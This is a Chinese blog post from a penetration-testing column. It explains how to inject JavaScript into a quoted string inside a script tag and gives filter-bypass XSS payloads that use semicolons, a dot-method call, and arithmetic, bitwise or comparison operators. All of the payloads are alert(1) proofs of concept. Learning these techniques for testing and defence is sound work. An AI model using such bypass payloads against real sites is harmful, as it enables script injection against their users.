““-alert(1)-““执行的简单分析

「已注销」

已于 2022-10-07 17:49:24 修改

阅读量888

点赞数

分类专栏：渗透测试文章标签：网络安全

于 2022-07-13 23:15:25 首次发布

原文链接：http://t.zoukankan.com/mkdd-p-12977098.html

版权

渗透测试专栏收录该内容

1 篇文章 0 订阅

订阅专栏

本文详细探讨了XSS（跨站脚本）漏洞的利用方式，包括通过分号、点号进行闭合的常见思路，以及在分号和点号被过滤时如何利用中划线和其他数学运算符进行代码注入。这些技巧揭示了XSS攻击者如何在不同过滤条件下寻找绕过策略，为安全防护提供了深入的理解。

摘要由CSDN通过智能技术生成

漏洞场景

如下所示的XSS位置,绿色部分表示用户可控

<script>id="xsspoint";</script>

常见思路

最常用的闭合方式就是输入";alert(1);",那么代码就变成如下,

<script>id="";alert(1);"";</script>

也可以输入";alert(1);//,效果一样

<script>id="";alert(1);//";</script>

过滤分号的场景

问题来了,如果过滤了分号怎么办?一种办法是利用点号,取字符的a函数,把要执行的js代码作为入参放在a函数中,即使a函数是不存在函数,js也会先执行其中的入参,payload如下

<script>"".a(alert(1))//";</script>

过滤分号、点号的场景

问题又来了,如果过滤了分号还过滤了点号甚至还过滤了反斜杠咋办?这里介绍一个今天才理解的思路——用中划线

<script>""-alert(1)-”";</script>

中划线就是减号! 也就是说减号两边的对象也是会先作为js执行,毕竟要先得到两边的值才能进行算数计算~

因此除了减号,其他数学运算符号和位运算符号,也都是阔以的,后面绕过XSS的思路就更多了

<script>""+alert(1)+"";</script>
<script>""/alert(1)/"";</script>
<script>""%alert(1)%"";</script>
<script>""*alert(1)*"";</script>
<script>""^alert(1)^"";</script>
<script>"">>alert(1)>>"";</script>
<script>""<<alert(1)<<"";</script>
<script>""<alert(1)<"";</script>
<script>"">alert(1)>"";</script>
<script>""==alert(1)=="";</script>